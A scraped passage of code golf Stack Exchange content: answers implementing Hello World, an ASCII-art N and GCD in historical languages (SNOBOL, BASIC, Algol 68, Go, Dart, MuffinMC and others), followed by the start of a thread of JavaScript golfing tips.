SNOBOL really was: `(B - A) '-'` means \"does the result of B-A contain a minus?\". SNOBOL3 can also do `LE(B,A)`, but SNOBOL 1 could not (at least the paper doesn't mention it).\n```\n* READ A AND B\nSTART SYSPOT = 'A?'\n A = SYSPPT\n SYSPOT = 'B?'\n B = SYSPPT\n* GCD LOOP\nSTEP '0' (A - B) /S(DONE)\n (B - A) '-' /S(AB)F(BA)\nAB A = A - B /(STEP)\nBA B = B - A /(STEP)\nDONE SYSPOT = 'GCD: ' A\n```\nOf course, when you have a language based entirely around strings and pattern matching, it would be a shame not to actually get to use the pattern matching and replacement. Thus, here is one of those unary-based GCDs, including routines for converting to and from unary. \n```\n* READ A AND B\nSTART SYSPOT = 'A?'\n A = SYSPPT\n SYSPOT = 'B?'\n B = SYSPPT\n* CONVERT TO UNARY\n UNA.IN = A\n UNA.FIN = 'ADONE' /(UNA)\nADONE A = UNA.R\n UNA.IN = B\n UNA.FIN = 'BDONE' /(UNA)\nBDONE B = UNA.R\n* USE STRING MATCHING TO FIND GCD\nSTEP '' B /S(GDONE)\nMATCH A B = /S(MATCH)\n C = B\n B = A\n A = C /(STEP)\n* CONVERT BACK TO DECIMAL\nGDONE DEC.IN = A\n DEC.FIN = 'DONE' /(DEC)\nDONE SYSPOT = 'GCD: ' DEC.R /(FIN)\n***************************** \n* DECIMAL TO UNARY SUBROUTINE\nUNA UNA.R =\nUNA.DGT UNA.IN *.DGT/'1'* = /F($UNA.FIN)\n .X = UNA.R\n UNA.R =\nUNA.MUL .X *.Y/'1'* = /F(UNA.ADD)\n UNA.R = UNA.R '##########' /(UNA.MUL)\nUNA.ADD '1' .DGT /S(UNA.1)\n '2' .DGT /S(UNA.2)\n '3' .DGT /S(UNA.3)\n '4' .DGT /S(UNA.4)\n '5' .DGT /S(UNA.5)\n '6' .DGT /S(UNA.6)\n '7' .DGT /S(UNA.7)\n '8' .DGT /S(UNA.8)\n '9' .DGT /S(UNA.9)\n '0' .DGT /S(UNA.DGT)\nUNA.1 UNA.R = UNA.R '#' /(UNA.DGT)\nUNA.2 UNA.R = UNA.R '##' /(UNA.DGT)\nUNA.3 UNA.R = UNA.R '###' /(UNA.DGT)\nUNA.4 UNA.R = UNA.R '####' /(UNA.DGT)\nUNA.5 UNA.R = UNA.R '#####' /(UNA.DGT)\nUNA.6 UNA.R = UNA.R '######' /(UNA.DGT)\nUNA.7 UNA.R = UNA.R '#######' /(UNA.DGT)\nUNA.8 UNA.R = UNA.R '########' /(UNA.DGT)\nUNA.9 UNA.R = UNA.R '#########' /(UNA.DGT)\n*****************************\n* UNARY TO DECIMAL SUBROUTINE\nDEC DEC.R =\nDEC.DGT '' DEC.IN /S($DEC.FIN)\n .X = DEC.IN\n DEC.IN =\nDEC.DIV .X '##########' = /F(DEC.ADD)\n DEC.IN = DEC.IN '#' /(DEC.DIV)\nDEC.ADD '' .X /S(DEC.0)\n '#' .X /S(DEC.1)\n '##' .X /S(DEC.2)\n '###' .X /S(DEC.3)\n '####' .X /S(DEC.4)\n '#####' .X /S(DEC.5)\n '######' .X /S(DEC.6)\n '#######' .X /S(DEC.7)\n '########' .X /S(DEC.8)\n '#########' .X /S(DEC.9)\nDEC.0 DEC.R = '0' DEC.R /(DEC.DGT)\nDEC.1 DEC.R = '1' DEC.R /(DEC.DGT)\nDEC.2 DEC.R = '2' DEC.R /(DEC.DGT)\nDEC.3 DEC.R = '3' DEC.R /(DEC.DGT)\nDEC.4 DEC.R = '4' DEC.R /(DEC.DGT)\nDEC.5 DEC.R = '5' DEC.R /(DEC.DGT)\nDEC.6 DEC.R = '6' DEC.R /(DEC.DGT)\nDEC.7 DEC.R = '7' DEC.R /(DEC.DGT)\nDEC.8 DEC.R = '8' DEC.R /(DEC.DGT)\nDEC.9 DEC.R = '9' DEC.R /(DEC.DGT)\nFIN START\n```\n[Answer]\n# 2014 - Pyth\nSince we have CJam, we might as well also have Pyth for completeness :)\nPyth is a golfing language by [@isaacg](https://codegolf.stackexchange.com/users/20080/isaacg) which compiles down to Python. It's notable for being procedural and for using prefix notation. Pyth first appeared around [June 2014](https://github.com/isaacg1/pyth/graphs/contributors).\n# \"Hello, World!\" Variant\n```\n\"Pyth was made in 2014!\n```\nNote the lack of a closing quote, which is optional if a Pyth program ends in a string.\n# ASCII Art N\n```\nVQ+\\Nt+P++*Nd\\N*t-QNd\\N\n```\n[Try it online](https://pyth.herokuapp.com/?code=VQ%2B%5CNt%2BP%2B%2B*Nd%5CN*t-QNd%5CN&input=7&debug=0). The equivalent Python is:\n```\nQ = eval(input())\nfor N in range(Q):\n print(\"N\"+((\" \"*N+\"N\"+(Q-N-1)*\" \")[:-1]+\"N\")[1:])\n```\nOr expanded (the first and third lines are implicit):\n```\nQ = eval(input()) # \nfor N in range(Q): # VQ\n print( ) # \n \"N\"+ # +\\N\n ( )[1:] # t\n +\"N\" # + \\N\n ( )[:-1] # P\n +(Q-N-1)*\" \" # + *t-QNd\n +\"N\" # + \\N\n \" \"*N # *Nd\n```\n# GCD\n```\n=GvwWQAGQ,Q%GQ)G\n```\nThis program uses the Euclidean algorithm, and takes two numbers separated by a newline. [Try it online](https://pyth.herokuapp.com/?code=%3DGvwWQAGQ%2CQ%25GQ%29G&input=234%0A876&debug=0).\n```\nQ = eval(input()) #\nG = eval(input()) # =Gvw\nwhile Q != 0: # WQ\n G, Q = Q, G % Q # AGQ,Q%GQ)\nprint(G) # G\n```\n`i.uQ` is even shorter if we use the builtin for GCD. This is equivalent to `print(gcd(*eval(input())))` (taking two comma-separated numbers as input).\n[Answer]\n# 1964 - [Dartmouth BASIC](https://en.wikipedia.org/wiki/Dartmouth_BASIC)\n**BASIC** is a family of general-purpose, high-level programming languages whose design philosophy emphasizes ease of use. In 1964, John G. Kemeny and Thomas E. Kurtz designed the original BASIC language at Dartmouth College in New Hampshire. They wanted to enable students in fields other than science and mathematics to use computers.\nI'm looking at this [manual](http://www.cs.bris.ac.uk/~dave/basic.pdf) on BASIC from 1964, and this [emulator](http://mcgeachie.net:51964/DTSS) of the Darthmouth Time Sharing System it ran on. The server is still up, but sadly, registering an account seems to be impossible. For now, these programs should theoretically work:\n## Task 1\n```\n10 PRINT \"BASIC WAS MADE IN 1964\"\n20 END\n```\n## Task 2\n```\n10 READ N\n15 FOR Y = 1 TO N STEP 1\n20 FOR X = 1 TO N STEP 1\n25 IF X = 1 THEN 50\n30 IF X = N THEN 50\n35 IF X = Y THEN 50\n40 PRINT \" \",\n45 GO TO 55\n50 PRINT \"N\",\n55 NEXT X\n60 PRINT\n65 NEXT Y\n70 DATA 5\n75 END\n```\nOutputting something like:\n```\nN N\nN N N\nN N N\nN N N\nN N\n```\nNote how the input is typed in as part of the program (`70 DATA 5`); the `READ` instruction way at the top fetches data from there. There is no string concatenation, but section 3.1 of the manual describes how `PRINT` results are written to tabulated \"zones\" on the output.\n## Task 3\nThe slow version of Euclid's algorithm:\n```\n10 READ A, B\n20 IF A = B THEN 80\n30 IF A < B THEN 60\n40 LET A = A - B\n50 GO TO 20\n60 LET B = B - A\n70 GO TO 20\n80 PRINT A\n85 DATA 144, 250\n90 END\n```\nOutputting:\n```\n2\n```\n[Answer]\n# 1991 - [Python](http://en.wikipedia.org/wiki/Python_(programming_language))\n### Language History\nIn the late 1980s, Guido van Rossum began devising Python as a hobby. Its name comes from Monty Python's Flying Circus, a British television show of which Rossum is a fan. The first Python implementation began in 1989 and was released in 1991. It has surged in popularity over the years, becoming the language of choice for many introductory computer science courses.\n### \"Hello, World!\" Variant\n```\nprint(\"Python was made in 1991!\")\n```\nNote the parentheses around the input to `print`. Though this syntax works in Python 2, typically in Python 2 you would omit these parentheses. However, they're required in Python 3. As suggested by Zach Gates, parentheses are used throughout to ensure that the code presented here will work across versions.\n### ASCII Art N\n```\ndef asciin(n):\n if n == 1:\n print(\"N\")\n else:\n print(\"N\" + \" \"*(n-2) + \"N\")\n for i in range(2, n):\n print(\"N\" + \" \"*(i-2) + \"N\" + \" \"*(n-i-1) + \"N\")\n print(\"N\" + \" \"*(n-2) + \"N\")\n```\nFunctions are defined using `def`. String concatenation is performed using `+` and string repetition with `*`.\n### GCD\n```\ndef gcd(a, b):\n if b == 0:\n return(a)\n else:\n return(gcd(b, a % b))\n```\nNote that Python requires structured whitespace.\n[Answer]\n# 1968 - [Algol 68](http://en.wikipedia.org/wiki/ALGOL_68)\nAlgol 68 was defined by the IFIP Working Group 2.1 as a successor to Algol 60.\nIt is an expression oriented language in which everything has a value. It is also orthogonal, in which you can use any construct in any way. This means that expressions can be on the RHS and the LHS of an assignment, for example.\nAll control structures have an abbreviated form as well as a long form using expressions. It also permits the definitions of operators.\nThe goals of the language are cited as:\n> \n> The main aims and principles of design of ALGOL 68:\n> \n> \n> * Completeness and clarity of description\n> * Orthogonal design,\n> * Security,\n> * Efficiency\n> * Static mode checking\n> * Mode-independent parsing\n> * Independent compilation\n> * Loop optimization\n> * Representations - in minimal & larger character sets\n> \n> \n> \nThese programs have been tested with the [Algol 68 Genie interpreter](http://jmvdveer.home.xs4all.nl/), which is a complete implementation of the language.\nSome features that modern programmers may find different, is that empty statements are not permitted. You cannot just add `;` everywhere. You have to use the `SKIP` statement if you want to explicitly have nothing. It also permitted the coding of concurrent programs very easily. Algol 68 also, notably, used backwards keywords as terminators, such as **esac**, **od**, **fi** etc.\nThe language had a representation used for writing the code that used many fonts representing keywords in **bold**, and identifiers in *italic*, for example. At the time, and probably still, no compiler implemented this feature of the design. The language permitted several different concrete representations of programs using **stropping modes**. This allowed programs to be prepared using limited character sets, such as might be found in computers in the 1960s. Consider the a short program fragment, which would be represented as:\n> \n> **if** *i* **<** *0* **then** **skip** **fi**\n> \n> \n> \nThis could be prepared for a compiler in *prime* stropping mode as:\n```\n'IF' I 'LT' 0 'THEN' 'SKIP' 'FI'\n```\nIn *dot* stropping mode this would be:\n```\n.IF I .LT 0 .THEN .SKIP .FI\n```\nIn *case* stropping mode this would be:\n```\nIF i < 0 THEN SKIP FI\n```\nI have great fondness for this language as I worked on one of the compiler implementations, as well as programming in it exclusively for many years.\n# Task 1\n> \n> *print* ((\"Algol 68 was made in 1968!\", *newline*))\n> \n> \n> \nThe point to note here is the double parentheses. This is because *print* is a function that takes a single argument which is a variable length array of the union of all types. The inner parenthesis are the array constructor. This is how polymorphism is handled in this strongly typed language.\nIn case stropping mode:\n```\nprint ((\"Algol 68 was made in 1968!\", newline))\nC:\\>a68g HelloWorld.a68\nAlgol 68 was made in 1968!\n```\n# Task 2\n> \n>      **int** *n*; \n> \n>      *read* ((*n*)); \n> \n>      **for** *i* **from** 1 **to** *n* **do** \n> \n>           **for** *j* **from** 1 **to** *n* **do** \n> \n>                **¢** here we use an abbreviated IF clause **¢** \n> \n>                *print* (( ( *j* **=** 1 OR *j* **=** *i* OR *j* **=** *n* **|** \n> \n>                     \"N\" \n> \n>                **|** \n> \n>                     \" \" \n> \n>                ) )) \n> \n>           **od** ; \n> \n>      *print* ((*newline*)) \n> \n>      **od** \n> \n> \n> \n> \nIn case stropping mode:\n```\n INT n;\n read ((n));\n FOR i FROM 1 TO n DO\n FOR j FROM 1 TO n DO\n CO here we use an abbreviated IF clause CO\n print (( ( j = 1 OR j = i OR j = n |\n \"N\"\n |\n \" \"\n ) ))\n OD ;\n print ((newline))\n OD\nC:\\>a68g ASCIIart.a68\n8\nN N\nNN N\nN N N\nN N N\nN N N\nN N N\nN NN\nN N\n```\n# Task 3\n> \n>      **¢** we can define our own operators in Algol 68 **¢** \n> \n>      **op** **%** **=** ( **int** *a*, *b*) **int**: \n> \n>           ((*b* **=** 0 **|** \n> \n>                *a* \n> \n>           **|** \n> \n>                *b* **%** (*a* **mod** *b*) \n> \n>           )); \n> \n>      **int** *i*,*j*; \n> \n>      *read*((*i*,*j*)); \n> \n>      *print*(( *i* **%** *j* , *newline*)) \n> \n> \n> \n> \nIn case stropping mode:\n```\nCOMMENT we can define our own operators in Algol 68 COMMENT\nOP % = ( INT a, b) INT:\n ((b = 0 |\n a\n |\n b % (a MOD b)\n ));\nINT i,j;\nread((i,j));\nprint(( i % j , newline))\nC:\\>a68g GCD.a68\n4 12\n +4\n```\n[Answer]\n# 2010 - [WTFZOMFG](https://esolangs.org/wiki/WTFZOMFG)\nWTFZOMFG is an esoteric languages based on Brainfuck. It was made by Jay Songdahl in 2010. \"WTFZOMFG\" is short for \"What's That Function? Zen Optimized Malicious File Gophers!\" .\nHere is a [compiler for \\*nix systems](http://sites.google.com/site/songhead95/programs/WTFZOMFG.tar.gz).\n## Task 1\n```\n'WTFZOMFG was made in 2010!\\n\"\n```\n## Task 2\n```\n/&(-.N%3 >&>s-{-(-. ).N}>{-(-. ).N}_0 '\\n\")\n```\n### Explanation:\nSorry. I'm not good at writing explanations.\n```\n/ # read the number and store it in cell 0\n & # copy it to cell 1\n ( # loop while cell 0 isn't 0\n - # decrease the value of cell 0\n .N # print \"N\"\n %3 # copy cell 0 to cell 3\n # a space must be added after the number. I don't know if it's a bug of the compiler or a feature.\n > # move to cell 1\n & # copy cell 1 to cell 2\n > # move cell 2\n s # let cell 2 = cell 2 - cell 3\n - # decrease the value of cell 2\n { # if cell 2 isn't 0\n - # decrease the value of cell 2\n (-. ) # while cell 2 isn't 0, decrease it and print \" \"\n .N # print \"N\"\n } # end if\n > # move cell 3\n { # if cell 3 isn't 0\n - # decrease the value of cell 3\n (-. ) # while cell 3 isn't 0, decrease it and print \" \"\n .N # print \"N\"\n } # end if\n _0 # move to cell 0\n '\\n\" # print a newline\n ) # \n```\n## Task 3\n```\n/>>/(<<&>dm>%0 <&>)<<\\\n```\nEuclidean algorithm. WTFZOMFG doesn't have a command for mod, so I have to use `d` (divide), `m` (multiply) and `s` (subtract).\n[Answer]\n# 2009 - Go\nGo is programming language developed by Google. The development started in 2007, but Go was announced in November 2009. \nGo is a statically-typed language influenced by C which emphasizes conciseness, simplicity, and safety. \n## Task 1:\n```\npackage main\nimport \"fmt\"\nfunc main(){\n fmt.Println(\"Go was made in 2009!\")\n}\n```\nThe first line declares the package of the code. Even a simple example as printing one line needs to be part of one package. And the executable is always called `main`. \n## Task 2:\n```\npackage main\nimport (\n \"fmt\"\n \"strings\"\n)\nfunc main(){\n var n int\n fmt.Scan(&n)\n for i := 0; i < n; i++ {\n a := make([]string, n, n)\n for j := 0; j < n; j++ { a[j] = \" \" }\n a[0] = \"N\"\n a[i] = \"N\"\n a[n-1] = \"N\"\n s := strings.Join(a, \"\")\n fmt.Println(s)\n }\n}\n```\nGo has a quite concise variable declaration (`i := 0` is the same as `var i int = 0`), and the compiler determines the type. This is usually a feature more common in dynamic languages. Using this short notation it's also really easy to assign functions to variables (`f := func(x int) int {/* Code */}`) and create Closures. \n## Task 3:\n```\npackage main\nimport \"fmt\"\nfunc gcd(a, b int) int {\n for b != 0 {\n a, b = b, a%b\n }\n return a\n}\nfunc main(){\n var a, b int\n fmt.Scan(&a)\n fmt.Scan(&b)\n fmt.Println(gcd(a, b))\n}\n```\nHere you can see the \n`a, b = b, a%b` syntax, which is really nice. I don't know the exact name, but in Python it's called tuple unpacking. Using the same way you can return multiple values from a function (`func f() (int, string) { return 42, \"Hallo\"}`). \nAnother thing happening in this code is the loop. The for loop is the only loop in Go. While-loops or do-while-loops don't exists. But you can easily create an equivalent for the while loop `for condition {}` or an infinite loop `for {}`. \n[Answer]\n# 2012 - TypeScript\nTypeScript is a free and open source programming language developed and maintained by Microsoft.\nMain goal is: Any browser. Any host. Any OS. Open Source.\nIt was released on [October, 2012](http://en.wikipedia.org/wiki/TypeScript)\n## Hello TypeScript\n```\nTask1(name:string,year:number) {\n return name + \" was made in \"+ year +\"!\";\n}\n```\n## ASCII Art\n```\nTask2(n:number,separator:string,space:string) {\n var result:string = \"\";\n for (var k = 0; k < n; k++)\n {\n for (var j = 0; j < n; j++)\n {\n var i = ((n * k) + j) % n;\n result+=(i == 0 || i == n - 1 || i == k) ? \"N\" : space;\n }\n result+=separator;\n }\n return result;\n}\n```\n## GCD\n```\nTask3(a:number,b:number) {\n while (a != 0 && b != 0)\n {\n if (a > b)\n a %= b;\n else\n b %= a;\n }\n if (a == 0)\n return b;\n else\n return a;\n}\n```\n[try it online](http://www.typescriptlang.org/Playground#src=class%20Tasks%20%7B%0A%20%20%20%20%0A%09Task1(name%3Astring%2Cyear%3Anumber)%20%7B%0A%20%20%20%20%20%20%20%20return%20name%20%2B%20%22%20was%20made%20in%20%22%2B%20year%3B%0A%20%20%20%20%7D%0A%09Task2(n%3Anumber%2Cseparator%3Astring%2Cspace%3Astring)%20%7B%0A%09%09var%20result%3Astring%20%3D%20%22%22%3B%0A%20%20%20%20%20%20%20%20for%20(var%20k%20%3D%200%3B%20k%20%3C%20n%3B%20k%2B%2B)%0A%20%20%20%20%20%20%20%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20for%20(var%20j%20%3D%200%3B%20j%20%3C%20n%3B%20j%2B%2B)%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20var%20i%20%3D%20((n%20*%20k)%20%2B%20j)%20%25%20n%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20result%2B%3D(i%20%3D%3D%200%20%7C%7C%20i%20%3D%3D%20n%20-%201%20%7C%7C%20i%20%3D%3D%20k)%20%3F%20%22N%22%20%3A%20space%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20result%2B%3Dseparator%3B%0A%20%20%20%20%20%20%20%20%7D%0A%09%09return%20result%3B%0A%20%20%20%20%7D%0A%09Task3(a%3Anumber%2Cb%3Anumber)%20%7B%0A%20%20%20%20%20%20%20%20while%20(a%20!%3D%200%20%26%26%20b%20!%3D%200)%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20(a%20%3E%20b)%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20a%20%25%3D%20b%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20else%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20b%20%25%3D%20a%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20if%20(a%20%3D%3D%200)%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%20b%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20else%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%20a%3B%0A%20%20%20%20%7D%0A%7D%0A%0Avar%20tasks%20%3D%20new%20Tasks()%3B%0Avar%20r1%3Astring%20%3D%20tasks.Task1(%22TypeScript%22%2C%202012)%0Adocument.writeln(r1)%3B%0Adocument.writeln(%22%3Cbr%2F%3E%22)%3B%0Avar%20r2%3Astring%3Dtasks.Task2(5%2C%22%3Cbr%2F%3E%22%2C%22._%22)%3B%0Adocument.writeln(r2)%3B%0Adocument.writeln(%22%3Cbr%2F%3E%22)%3B%0Avar%20r3%3Anumber%20%3D%20tasks.Task3(8%2C12)%3B%0Adocument.writeln(String(r3))%3B%0A%0A), and [screencast](http://screencast.com/t/5CZDSGSVy) of it.\n[Answer]\n# 2011 - Dart\nDart is an Open Source programming language developed by Google which is developed as a replacement for Javascript (althought it compiles to javascript). It was unveiled by Google in 2011 during the GOTO conference.\n## \"Hello World!\" Variant:\n```\nmain() {\n print('Dart was made in 2011!');\n}\n```\n## ASCII Art N:\nBruteforce method, runs at 0(n²), but it shouldn't really matter unless you use a giant number.\n```\nasciiN(int number){\n if(number == 1){\n print('N');\n }else{\n for(var i = 1; i <= number; i++){\n String currentLine = \"\";\n for(var j = 1; j <= number; j++){\n if(j==1 || j == number || j == i){\n currentLine = currentLine + \"N\";\n }else{\n currentLine = currentLine + \" \";\n }\n }\n print(currentLine);\n }\n }\n}\n```\n## GCD\nsimple Euclid method ported from the Snap! example above.\n```\nint gcd(int first, int second){\nif(second > first){\n return gcd(second, first);\n }else{\n if(first == 0){\n return second;\n }else{\n if(second ==0){\n return first;\n }else{\n return gcd(second, first-second);\n }\n }\n }\n}\n```\n[Answer]\n# 2007 - Clojure\nClojure is a general-purpose programming language with an emphasis on functional programming. It is a dialect of the Lisp programming language. It runs on the Java Virtual Machine, Common Language Runtime, and JavaScript engines.\nYou can find a online Clojure REPL at [Try Clojure](http://www.tryclj.com/). It also includes a short tutorial on the basics of Clojure.\n### Task 1\n```\n(println \"Clojure was made in 2007!\")\n```\n### Task 2\n```\n(defn ascii [n]\n (doseq [i (range 0 n 1)]\n (doseq [j (range 0 n 1)]\n (printf (if (or (= i j) (= j 0) (= j (dec n))) \"N\" \" \"))\n )\n (printf \"\\n\")\n )\n)\n(ascii (read))\n```\n### Task 3\n```\n(defn gcd [a b]\n (if (zero? b) a (recur b (mod a b)))\n)\n(println (gcd (read) (read)))\n```\n[Answer]\n# 2015 - Muffin*MC*\nMuffin*MC* is a Turing-complete, funny (but serious), functional and minimalist macro-language written by Franck Porcher () in mid-February 2015 out of necessity as a (quick) tool to empower a spreadsheet\nto be used as the only front-end controller to pilot and drive all inventory-related operations associated with a Prestashop-based merchant site for a new Tahitian fashion brand : *Mutiny Tahiti* ( -- soon to be launched).\nMuffin*MC* is an acronym for **MU**tiny **F**unctional **F**lexible **IN**line **M**acro **C**ommand language.\nTo meet our requirements, Muffin*MC*'s core features have been designed around flexible and efficient 1st-class built-in semantic constructs like *iterators*, *lazy-evaluation*, *multi-functors*, *string-product*.\nMuffin*MC* draws its roots in (pragmatic) functional programming, FLisp and Perl. It fully supports recursivity (without any optimization), is dynamically typed and dynamically scoped (shallow-binding). It offers its users one data structure only, apart from basic data-types atoms (atoms, strings, numerals) : lists !\nMuffin*MC* list semantics (kind of) borrows on *power-set* semantics, that is :\n1. All Muffin*MC* operation yield a list, possibly empty.\n2. Access to an any individual list element always yields a one-value-list made of that element (think of it as a singleton).\n3. The empty list is the neutral element on list operations.\nTo reconcile with this, the following may help :\n* One may visualize a list as the element of the list's power-set that has the greatest cardinality.\n* Visualize a list's element as the element of the list's power-set that is the singleton made of that element.\n* Visualize an empty list as the empty-set; that is, the only element of the empty-set's power-set.\nAs such, accessing an empty list element yields the empty-list, and not an error! Indeed, Muffin*MC* tries hard to throw as few errors as possible by extending that way the semantics of many traditional operations.\n# Task 1\n```\n#(say \"MuffinMC was born in 2015 out of necessity !\")\n```\n`#(...)` is the Muffin*MC* macro command for applying a function on a non-evaled argument list, here the built-in function `say`, borrowed from Perl.\n`#(say 1 2 3 ...)` is functionally identical to `map {say $_} (1,2,3,...)`\n# Task 2\nDefine the function `ascii-art()` :\n```\n=(ascii-art\n '( =(* x #(2- $(_1))\n I I( *($(x) \" \") N)\n foo '( #(. #(I $(x))) ))\n #(say ?( #(== $(_1) 1) N \"N#(map foo #(.. 1 $(_1)))N\" ))\n ))\n```\n`Ascii-art()`'s shortest working form (88 bytes) :\n```\n=(f'(=(* x#(2-)I I(*($(x)\" \")N)g'(#(.#(I$(x)))))#(say?(#(==$(_1)1)N\"N#(map g#(..))N\"))))\n```\n* `=(var val...)` is the Muffin*MC* macro command to define a variable, or reassign it.\n* `$(var)` is the Muffin*MC* macro command to access a variable's value. It naturally accepts the form `$(v1 v2 ...)` to access many variables at once.\n* `=(* var1 val1 var2 val2 ...)` is the extension of Muffin*MC* macro command `=(...)` to deal with parallel assignments.\n* Variables `_1, _2`, ... are dynamically scoped (shallow binding mechanism) and automatically set to bind to the function's arguments. Borrowed from Perl5, system variables `#` (number of arguments) and `@` (list of arguments) are also automatically set.\n* Functions are simply variables bound to any number of Muffin*MC* statements.\nThis interesting solution comes from combining two natural Muffin*MC* built-in features :\n1. The Muffin*MC* `I(...)` macro command, to define cycling-iterators, later used with the functional form `#(my-iterator want-number-of-values)`,\n2. The Muffin*MC* *string-product* construct, an extension of the natural variable interpolation, which, given any string `\"F1 F2 F3...\"`, where the F*i*s are either Muffin*MC* string literals or Muffin*MC* macro command (aka functional forms), will produce as many strings as given by the product cardinal(F1) x cardinal(F2) x ... .\nFor instance, given x a variable that holds 2 values, says a and b, and y another variable that holds 3 values, says, 1 2 3, then the evaluation of the string `\"x=$(x) y=$(y))\"` will produce 6 different values, namely, in that order :\n* \"x=a y=1\"\n* \"x=a y=2\"\n* \"x=a y=3\"\n* \"x=b y=1\"\n* \"x=b y=2\"\n* \"x=b y=3\"\nThis is one of MUTINY project's highly desirable features Muffin*MC* was designed for.\nRun it !\n```\n#(ascii-art 1)\nN\n#(ascii-art 3)\nN N \nNNN \nN N \n#(map '( #(ascii-art $(_1))) 5 7 9)\nN N\nNN N\nN N N\nN NN\nN N\nN N\nNN N\nN N N\nN N N\nN N N\nN NN\nN N\nN N\nNN N\nN N N\nN N N\nN N N\nN N N\nN N N\nN NN\nN N\n```\n### How does it work\nOur algorithm is based on the followings:\nGiven a call to ascii-art(n), {n = 2p+1 | p integer, p>= 0}, the art to generate comprises n strings of n characters, amongst which, two, the leftest and rightest, are fixed and always the same : 'N'. This allows to reduce the problem in producing only the middle strings. For instance, given n=5, we would weed to produce the 5 following middle strings, each made of n-2 characters (we have replaced the space by a '\\_' for the sake of better visualization) :\n```\n The 5 strings :\n _ _ _\n N _ _ \n _ N _\n _ _ N\n _ _ _\n can be seen as resulting from splitting in groups of 3 characters\n the following infinite sequence of 4 characters :\n /---- < _ _ _ N > ----\\\n | |\n \\---------------------/ \n which, once unfolded, yields the infinite ruban : \n _ _ _ N _ _ _ N _ _ _ N _ _ _ N _ _ _ N _ _ _ N ...\n ^ ^ ^ ^ \n _ _ _ | | | |\n N _ _ | | | \n _ N _ | |\n _ _ N |\n _ _ _\n```\n* Such middle strings can easily be produced by cycling over the 4 elements sequence `('_' '_' '_' 'N')` in 5 groups of 3 ; given n, the function's input, such sequence is made of n-2 characters `'_'`, followed by the character `'N'`. Cycling over this sequence requires nothing else but embedding the sequence within a Muffin*MC* `I(sequence)` built-in iterator (an iterator that cycles forever over its initial sequence of values).\n* We then simply produce the middle strings, of length n-2, by asking our iterator to give us its next n-2 values (n - 2 characters), which are concatenated together to produce the expected middle string.\n* The n middle strings are produced by repeating n times the above process, using a map to collect the n results (n strings of n-2 characters).\n* We use another powerful Muffin*MC* built-in construct, namely the *string product*, to produce the n final strings : `\"N#(map...)N\"`.\n* And that's it !\n```\nCommented script \n=(ascii-art Define the 'ascii-art' variable to hold\n the function's definition.\n When called, its argument, the actual\n value of n, will be bound to the system\n variable _1, accessed as $( _1 ).\n '( '(...) quote macro-command -- protects \n its arguments, here the function \n definition, from being evaluated.\n We want to keep it literally for further evaluation.\n =(* =(*...) // assignment macro-command.\n Similar to the Lisp (let (...)...),\n not the let* !\n x #(2- $(_1)) Define the variable x to hold the value \n n-2. \n I I( Define I to be an iterator over the \n the x+1 characters sequence :\n *( $(x) \" \") . x white-space characters\n N . 1 'N' character (here the atom N)\n )\n foo '( Define the variable foo as a function \n #(. to catenate ( #(. s1...) )\n #(I $(x)) the iterator's next x elements.\n ) \n )\n ) End of =(*...\n #(say Print each element of:\n ?( If\n #(== $(_1) 1) n equals 1\n N the atom N,\n \"N#(map foo #(.. 1 $(_1)))N\" else the n strings as a string-product \n resulting from foo-computing the \n ) n middle-strings.\n )\n ))\n```\n# Task 3\nDefine the function `gcd()` :\n```\n=(gcd '( ?( #(== $(_2) 0)\n $(_1)\n #(self $(_2) #(mod $(_1) $(_2)))) ))\n```\n`gcd()`'s *real* shortest form (37 bytes - 2bytes gain thanks to Rodolvertice)\n```\n=(g'(?(#(z$(_2))$(_1)#(g$(_2)#(mod)))))\n```\nRun it !\n```\n#(gcd 225 81)\n```\nyields 9.\nThat's it.\nThank you for the nice game, and possibly for your interest. The language is available to any one who would like to play with, use it, or even extend it. Just ask for it and I will be glad to send it in.\nCheers\nFranck\n---\nPS. Muffin*MC*'s current implementation is in Perl5.\nThe source code is about 2000 lines of modern Perl, including comments, and it comes bundled with a non-regression test-suite, which is great to learn hands-on Muffin*MC* constructs and semantics.\n]"}}},{"rowIdx":42,"cells":{"text":{"kind":"string","value":"[Question]\n [\nWhat general tips do you have for golfing in JavaScript? I'm looking for ideas that can be applied to code golf problems in general that are at least somewhat specific to JavaScript (e.g. \"remove comments\" is not an answer).\n> \n> **Note:** Also see [Tips for Golfing in ECMAScript 6 and above](https://codegolf.stackexchange.com/questions/37624/tips-for-golfing-in-ecmascript-6)\n> \n> \n> \n \n[Answer]\n[Splitting with numbers to save the quotemarks:](https://github.com/jed/140bytes/wiki/Byte-saving-techniques#split-using-0)\n```\n\"alpha,bravo,charlie\".split(\",\") // before\n\"alpha0bravo0charlie\".split(0) // after\n```\n[Answer]\n### Fancy For Loops\nyou can use the standard for loop in non-standard ways\n```\nfor ( a; b; c )\n```\nis essentially equivalent to:\n```\na;\nwhile ( b )\n{\n ...\n c;\n}\n```\nso a good trick is to write your code with a `while` loop, and then split it into the `a,b,c` parts in a `for` loop.\nA couple examples [I've written](https://codegolf.stackexchange.com/questions/1977/what-is-the-average-of-n-the-closest-prime-to-n-the-square-of-n-and-the-closest/1978#1978):\n```\nfor(x=y=n;!z;x--,y++)z=i(x)?x:i(y)?y:0\nfor(a=b=1;b\n Object.getOwnPropertyNames(b).map((p,i)=>\n b.prototype[S.fromCharCode(i+248)]=b[p]\n )\n)\n```\nAfter executing the code above you can use it like this: \n`\"foo\".Č(/.*/,'bar') // replaces foo with bar`\n**This costs 118 bytes, so it might not be useful in certain situations**\nIt may be browser dependent and i'm not sure if it's shorter than `with(Array){join(foo),...}` or defining variables as used properties `with(Array){j=join,m=map...}` but still it is worth mentioning. 